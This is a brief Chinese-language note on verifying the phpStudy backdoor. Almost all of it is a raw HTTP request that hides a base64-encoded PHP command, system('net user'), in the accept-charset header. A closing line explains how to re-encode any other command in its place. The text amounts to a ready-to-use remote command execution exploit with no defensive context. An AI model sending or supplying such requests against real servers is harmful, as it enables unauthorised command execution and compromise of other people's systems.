phpstudy后门验证方式

GET / HTTP/1.1

Host: 0.0.0.0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Connection: close

accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7

Accept-Encoding: gzip,deflate

Upgrade-Insecure-Requests: 1

ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7  为base64编码，如果需要其他命令，解码替换命令在编码就可以了。